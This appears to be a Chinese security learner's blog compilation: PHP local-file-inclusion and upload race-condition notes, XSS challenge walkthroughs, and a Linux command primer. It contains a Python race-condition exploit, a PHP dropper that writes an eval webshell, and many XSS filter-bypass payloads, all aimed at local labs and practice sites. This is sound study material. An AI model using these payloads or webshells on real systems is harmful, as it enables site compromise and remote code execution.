以上传文件的方式请求任意PHP文件,服务器都会创建临时文件来保存文件内容
PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
1、请求到达;

2、创建临时文件,并写入上传文件的内容;

3、调用相应PHP脚本进行处理,如校验名称、大小等;

4、删除临时文件。

PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。对phpinfo.php发起请求,会在/tmp下生成一个临时文件。其中临时文件内容正是我们POST请求中文件内容,临时文件的名称是php+随机数字.tmp,正中本地文件包含痛点。

分块传输

php默认的输出缓冲区大小为4096,也就是四字节,可以理解为php每次返回4096个字节给socket连接

攻击过程

画了一个流程图,利用发送给phpinfo数据包发送给包含点的数据包之间的时间差,来写入一个永久的文件,具体在流程图体现

执行

执行exp

懒得贴图了,看链接吧
PHP文件包含漏洞(利用phpinfo)

相关链接

在实际情况中,如果要修改poc参数,参考链接
LFI with PHPInfo本地测试过程

文件上传竞争

刚才的竞争是数据从socket client到service过程和POST数据到文件包含过程的竞争,借助了文件包含这个点来生成一个webshell,或者执行系统命令的参数。

文件竞争是多线程与服务期间的竞争。首先将文件上传到服务器,然后检测文件后缀名(或者是有害文件),如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

exp

import os
import requests
import threading

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = "http://127.0.0.1:8080/upload/shell0.php"
        self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print("[*]create file info.php success")
            os._exit(0)

    def _upload(self):
        print("upload file.....")
        file = {"file":open("shell0.php","r")}
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()
            for i in range(10):
                self._upload()
                self._get()

if __name__ == "__main__":
    threads = 20

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

前端代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="myfile"/>
    <input type="submit" value="上传"/>
</form>
</body>
</html>

后端代码

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['myfile']['name'];

if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
    if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
        die("error:can not move!");
    }
} else {
    die("error:not an upload file!");
}

$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if ($_FILES['myfile']['error'] > 0){
    unlink($newfile);
    die("Upload file error: ");
}

$ext = array_pop(explode(".",$_FILES['myfile']['name']));
if (!in_array($ext,$allowtype)){
    unlink($newfile);
    die("error:upload the file type is not allowed,delete the file!");
}
?>

写在后面

很遗憾,文件上传竞争我没跑出来。最新学一下socket写个py吧,脚本转化能力太菜了

xss从零开始(三)之怒刷google-xss

索引

xss太好玩了,刷题刷题~

level 1 easypass

地址:https://xss-game.appspot.com/level1
easy

<script>alert(1)</alert>

level 2 img标签+事件绕过

地址:https://xss-game.appspot.com/level2

过滤script标签,用事件绕过

<img src=x onerror="alert(1)">

level 3 window.location.hash

地址:https://xss-game.appspot.com/level3


看到url里,有“#”号,联想window.location.hash
那么什么是window.location.hash呢?

window.location.hash属性介绍
location是javascript里边管理地址栏的内置对象,比如location.href就管理页面的url,用location.href=url就可以直接将页面重定向url。而location.hash则可以用来获取或设置页面的标签值。比如http://domain/#admin的location.hash="#admin"。利用这个属性值可以做一个非常有意义的事情。

也就是说页面会截取#后面的内容,再将这个值替换到url里进行重定向,这里提交一句话分析一下


如果我们以单引号结尾,我们猜测这个页面会截取单引号前面的内容并把它闭合到src的双引号里。并且在后面的jpg后再追加一个单引号。既然能脱离单引号,一切都好办了,我们用on事件构造:

4' onerror="alert(1)"

成功弹框

level4 编码绕过

地址:https://xss-game.appspot.com/level4

题目给了一个自己写的js函数叫做startime,执行时会进行相应的延时
函数的闭合如图:

思路是在onload事件里构造语句,出现弹框,但是过滤了分号,那么我们可以用URL编码来代替分号

1')%3Balert('1

还有两种思路:

1') || alert('1

也可以用下面这种方法,不需要任何编码/操作符:

1');alert(1);//

我尝试用html编码绕,但是过滤了&和#

level 5

地址:https://xss-game.appspot.com/level5

这题看提示,注意singup页面的url

singup页面还看到了next按钮,查看元素发现:

奥,事情不简单,我们传入一个next值,然后重定向给href属性。果断用javascript伪协议
payload:

?next=javascript:alert(1)

弹框~

level 6

地址:https://xss-game.appspot.com/level6

这题会截取#以后的内容,加载到一个新的script标签里的src属性内。我认为是引入一个js脚本的意思。如图

这里利用DATA URI Scheme来执行js代码

http://xss-game.appspot.com/level6/frame#data:text/javascript,alert(1);

xss从零开始(二)之怒刷xss-quiz

刷题

话不多说,刷题,平台:xss-quiz

chanllenge1

直接丢payload

<script>alert(document.domain)</script>

document.domain 弹出当前网页的网址

challenge2

随便查一个语句看一下浏览器是怎么渲染的

查询的东西嵌在input标签里的value属性里,解析不到script标签不会调用Js,构造一下bypass逃逸input标签。

"><script>alert(document.domain)</script>value="12

challenge3 其它input框的xss

题目地址

普通构造,右键源码发现把尖括号实体化编码了。

用编码没绕过去,p2选择出存在xss无过滤,改一下参数为构造语句再提交

challenge4 隐藏input框

题目地址

隐藏有个p3输入框,type从hidden改为test,构造payload:

"><script>alert(document.domain)</script><value="

challenge5 长度限制

题目地址

长度限制改一下就行了

"><script>alert(document.domain)</script><value="

challenge6 on事件bypass尖括号

题目地址

过滤了尖括号,用其它事件绕过去,注意查看元素构造Payload:

鼠标向上移动触发js事件:"onmouseover="alert(document.domain)",onmouseover要脱离引号,alert在引号内。

鼠标点击触发js事件:"onclick="alert(document.domain)"

事件会在页面或图像加载完成后立即发生:onload="alert(document.domain)"

challenge7 过滤尖括号和双引号和&

题目地址

经测试,输入空格会自动把前面补一个双引号,然后自己多构造一下找规律就行
bypass

a onclick=alert(document.domain)

challenge8 javascript伪协议

从网上学习到:看到输出是在href属性下,用javascript伪协议

常见用到伪协议的属性如下:

src
href
backgroud

学了一波javascript伪协议,看到离歌师傅有一篇文章写的javascript伪协议与url编码联合bypass的文章,感叹还有这种姿势,但是这个道题应该用不到编码,但是我尝试了一下javascript伪协议确实会把“符号”变为“字符串”,从而使用编码,具体看师傅的文章:
利用location来变形我们的XSS Payload

bypass:

javascript:alert(document.domain);

等价的bypass

javascript:alert%28document.domain%29;

challenge9

utf-7编码,看到网上说有问题,直接跳过

challenge10 过滤特定字符

题目地址

过滤了domain,构造出来domain

"><script>alert(document.domdomainain)</script>"<value="

challenge11 编码绕过

题目地址(http://xss-quiz.int21h.jp/stage11th.php?sid=ac29e65dc2666674f15adbe46a2c4af6397173ff)

这题过滤很多:
1,script会被替换为xscript 

2,on事件会被替换为onxxx

3,style会被替换为stxxx

想用html编码绕过构造script标签,结果如下:

后来测试发现,浏览器再解析xml时,先把标签解析成DOM树,而在标签名解析的时候不会解释html编码。解析成DOM树后,html编码解析只对
标签里面属性的值进行解码的。

例如:

<a text="scr&#105;pt"></a>

会被解析为:

<a text="script"></a>

但是脱离属性外的值不会被解码,例如:

<a text="abc" "scr&#105;pt"></a>

还是会被解析成

<a text="abc" "scr&#105;pt"></a>

所以我们构造script标签的思路行不通,那我们可以用html编码构造事件,但是构造事件又会脱离“属性”这个范围,编码不会被解析。那我们就重新构造标签,利用href属性和Javascript伪协议
bypass

"><a href=javascr&#105;pt:alert(document.domain)>xss</a>

challenge12

过滤了<>和双引号,绕不过去双引号闭合,我们用html编码构造的双引号会被认为成“字符串型”的引号,而不是“符号”,所以不能逃逸出来,看到网上wp说用`可以代替引号,前提是IE8浏览器才能这么解释,这里没什么实战意义,就不做了

challenge15 document.write()

题目地址

这题过滤了尖括号,双引号,但在input标签之上引用了document.write的方法,那么什么是document.write方法呢?

w3c里是这样定义的:
write() 方法可向文档写入 HTML 表达式或 JavaScript 代码。
可列出多个参数(exp1,exp2,exp3,…) ,它们将按顺序被追加到文档中。

也就是说我们在write一下插入的代码就是js范畴了,\u + Unicode编码这种形式是js的编码方法,所以会被解释为<,但是document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes。

因此我们要用\来替代\,payload:

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

一种是unicode编码,一种是\x + 16进制,都可以绕过

总结

剩下的题目有些环境严苛不做研究。总结一下,能调用js的方式:一些on事件,如:onmouseover、onclick、onerror等等。或者script标签,如果是标签的话,要脱离其它标签才能开启js解析调用。还有就是一些特定的方法,现在接触到的只有一个document.write。

学会构造、学会用javascript伪协议,学会编码绕过,知道浏览器解析的顺序,that’s important~

xss从零开始(一)

写在前面

这两天事情比较多,学习了一下scrapy只能简单的爬一下没有登陆模拟的页面,以后再写登陆模拟的接口。一直说要学xss却没怎么起步,就是做过几个题粗略的了解。准备系统的学习xss和html内的构造、CSS的渲染。找到一些大神的学习手册,跟着学习一下

一个简单的demo

输出所输入的内容

demo代码

Html知识补充

id属性

id只能唯一,识别作用

class属性

定义的类可以多次引用

div标签

可定义文档中的分区或节(division/section)。
标签可以把文档分割为独立的、不同的部分。它可以用作严格的组织工具,并且不使用任何格式与其关联。如果用 id 或 class 来标记
,那么该标签的作用会变得更加有效。

div就是一块区域的标签,可以对同一个

元素应用 class 或 id 属性,但是更常见的情况是只应用其中一种。这两者的主要差异是,class 用于元素组(类似的元素,或者可以理解为某一类元素),而 id 用于标识单独的特定的元素。不必为每一个
都加上类或 id。

span标签

自己定义名称的标签,你也可以命名为a标签或者hpdoger标签,标记好id就行

Input标签

输入标签,定义class可以选择demo,type规定输入类型,记得标记id

button标签

字如其名,按钮作用

document.querySelector

获取文档中 id=”demo” 的元素:

document.querySelector("#demo");

innerHTML

innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。

这里就是在span标签之间插入value

xss测试

我们插一个Script看是否会弹框

没有弹框,看一下script的位置,原因如下:

w3c规范innerHTML这个api插入的script标签不会被执行

linux基本使用

写在前面

参加了一个小组内的awd,体验感极差,上来被人抓着phpmyadmin改了密码,无限被check,非root用户我不会改mysql密码(其实当时是没意识到),在查linux文件、编辑、复制过程中一度出现命令忘记。。在这篇持续记录一下自己使用的centos7的命令吧。。

用户和组

查看自己的用户名

whoami

增加一个test组

groupadd test

删除一个test组

groupdel test2

查看当前用户所在的组

gours

查看所有组

cat /etc/group

添加用户(参考帮助文档进行用户配置)

useradd -g test -m  hpdoger #添加hpdoger到test组并创建用户目录(要先创建test组)

具体参考 useradd -help

若想创建不能登陆的用户

useradd -g test2 -M -s /sbin/nologin hpdoger #添加hpdoger到test组不创建用户目录,并且不可用于登录

修改hpdoger用户密码

passwd hpdoger

切记,创建完用户要修改密码,否则用户不能登陆

普通账号与root的切换

root切换为普通: login -f hpdoger
普通切换成root权限: su # 然后输入密码

端口类命令

查看端口

我的centos7把firewall给ban了,那么查看端口的命令我用的是这个:
[root@vultr ~]# netstat -lnp

开放/关闭端口监听:

我用ncat进行监听,监听命令:
nc -l -p 8888 -vvv

停止监听:
ctrl + c

注意ctrl + z并不是停止,而是退出当前监听命令界面,仍然在执行监听

文件类命令

进入目录

cd /home # into dir named home
cd ../ # into superior dir
cd - # into last dir which u are from 

创建/删除目录

mkdir ilove # make dir named ilove
rm -rf ilove # delete dir named ilove

显示当前路径

pwd

复制目录

cp -a /root/ilove/ifuck /root # 第一个为原目录地址,第二个为新目录父级目录地址

原目录地址必须为绝对路径

新建/打开/删除文件

vi filename # 创建了一个叫filename的文件了,如果存在就打开了。

进入插入模式,按一下字母「i」就可以进入「插入模式(Insert mode)」,这时候你就可以开始输入文字了。

当处于vi编辑模式时,想要退出的话按esc后输入冒号然后再输入wq,就能退出并保存。
linux 不区分文本和二进制,不需要文件名有txt。

rm -f filename # 删除文件

vi的基本操作

操作 解析
i 进入编辑文本模式
Esc 退出编辑文本模式
:w 保存当前修改
:q 不保存退出vi
:wq 保存当前修改并退出vi

查看当前文件内容

cat /root/ilove/filename # 查看相应目录的文件内容

查询类相关命令

find语句的用法

语句 解析
find / -name file1 从 ‘/’ 开始进入根文件系统查找文件和目录
find / -user user1 查找属于用户 ‘user1’ 的文件和目录
find /home/user1 -name *.bin 在目录 ‘/ home/user1’ 中查找以 ‘.bin’ 结尾的文件
find /usr/bin -type f -atime +100 查找在过去100天内未被使用过的执行文件
find /usr/bin -type f -mtime -10 查找在10天内被创建或者修改过的文件
locate *.ps 寻找以 ‘.ps’ 结尾的文件,先运行 ‘updatedb’ 命令
find -name ‘*.[ch]’ | xargs grep -E ‘expr’ 在当前目录及其子目录所有.c和.h文件中查找 ‘expr’
find -type f -print0 | xargs -r0 grep -F ‘expr’ 在当前目录及其子目录的常规文件中查找 ‘expr’
find -maxdepth 1 -type f | xargs grep -F ‘expr’ 在当前目录中查找 ‘expr’

前几天做题py到了一个很牛逼的查询flag的find用法,先看一下语句:

find / -iname "flag*" 2>/dev/null 

寻找可写目录

find / -type d -writable 2>/dev/null | grep -v -P '(^/proc)|(^/dev)'

寻找可写文件

find / -type f -writable 2>/dev/null | grep -v -P '(^/proc)|(^/dev)'

寻找最近20分钟内修改的文件

find /var/www/html -mmin -20 -type f -print

补一下相关知识

/dev/null
在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功),读取它则会立即得到一个EOF[1]。在程序员行话,尤其是Unix行话中,/dev/null被称为比特桶[2]或者黑洞。

数据流重定向
操作符 | 解析
—— | —-
1> | 以覆盖的方法将“正确的数据”输出到指定的文件或设备上
1>> | 以累加的方法将“正确的数据”输出到指定的文件或设备上
2> | 以覆盖的方法将“错误的数据”输出到指定的文件或设备上;
2>> | 以累加的方法将“错误的数据”输出到指定的文件或设备上;

所以这句话的意思就是搜索所有文件名包含flag字段的文件,并把错误的搜索项以覆盖的方式丢弃到/dev/null

文本内容查找

命令 解析
grep str /tmp/test 在文件 ‘/tmp/test’ 中查找 “str”
grep ^str /tmp/test 在文件 ‘/tmp/test’ 中查找以 “str” 开始的行
grep [0-9] /tmp/test 查找 ‘/tmp/test’ 文件中所有包含数字的行
grep str -r /tmp/* 在目录 ‘/tmp’ 及其子目录中查找 “str”
diff file1 file2 找出两个文件的不同处
sdiff file1 file2 以对比的方式显示两个文件的不同

权限类相关

修改上传目录权限

linux 修改某目录下所有所有子目录权限

chmod -R 777 html

修改某目录为任何用户都用写读执行权限

chmod a+rwx html

显示进程

ps -ef # 列出所有进程信息,包括pid

杀死进程

kill [option] pid

选项 -9 会强行终止进程

系统相关

关机/重启

shutdown -h now # 关机
shutdown -r now # 重启

查看Ip

ifconfig

查看参考手册(例如arpspoof 命令)

man arpspoof

linux中的&&和&,|和||

&  表示任务在后台执行,如要在后台运行redis-server,则有  redis-server &

&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo '2'    

| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo 'yes' | wc -l

|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo "fail"

写在最后

目前接触到的有这些,还有很多命令没接触到,日后一并记录到此。已知的,chomd目前还没有记载

相关链接

linux添加用户,用户组(centos7)
【Linux】CentOS7 常用命令集合

not found!